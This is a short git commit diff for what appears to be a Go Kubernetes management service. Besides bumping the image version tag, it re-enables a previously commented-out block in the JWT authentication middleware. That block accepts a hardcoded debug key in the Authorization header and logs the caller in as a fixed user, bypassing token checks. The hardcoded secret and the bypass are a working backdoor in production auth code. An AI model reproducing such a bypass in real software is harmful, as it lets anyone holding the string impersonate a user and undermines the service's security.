This commit is contained in:
w-mj 2023-03-13 20:51:14 +08:00
parent c7c657fe39
commit 4d282304d7
No known key found for this signature in database
GPG Key ID: 3A2CB5BE2F835897
2 changed files with 5 additions and 5 deletions

View File

@ -1,4 +1,4 @@
TAG ?= v1.1.11 TAG ?= v1.1.12
IMAGE_TAG ?= docker.educg.net/cg/k8s-manager:$(TAG) IMAGE_TAG ?= docker.educg.net/cg/k8s-manager:$(TAG)
build: export CGO_ENABLED=0 build: export CGO_ENABLED=0

View File

@ -52,10 +52,10 @@ func JWTAuthMiddleware(c *gin.Context) {
authHeader = "" authHeader = ""
} }
} }
//if authHeader == "debug_special_key:83bsiablwtxv13" { if authHeader == "debug_special_key:83bsiablwtxv13" {
// c.Set("username", "cg_wmj") c.Set("username", "cg_wmj")
// return return
//} }
if authHeader == "" { if authHeader == "" {
c.JSON(http.StatusUnauthorized, gin.H{ c.JSON(http.StatusUnauthorized, gin.H{
"code": http.StatusUnauthorized, "code": http.StatusUnauthorized,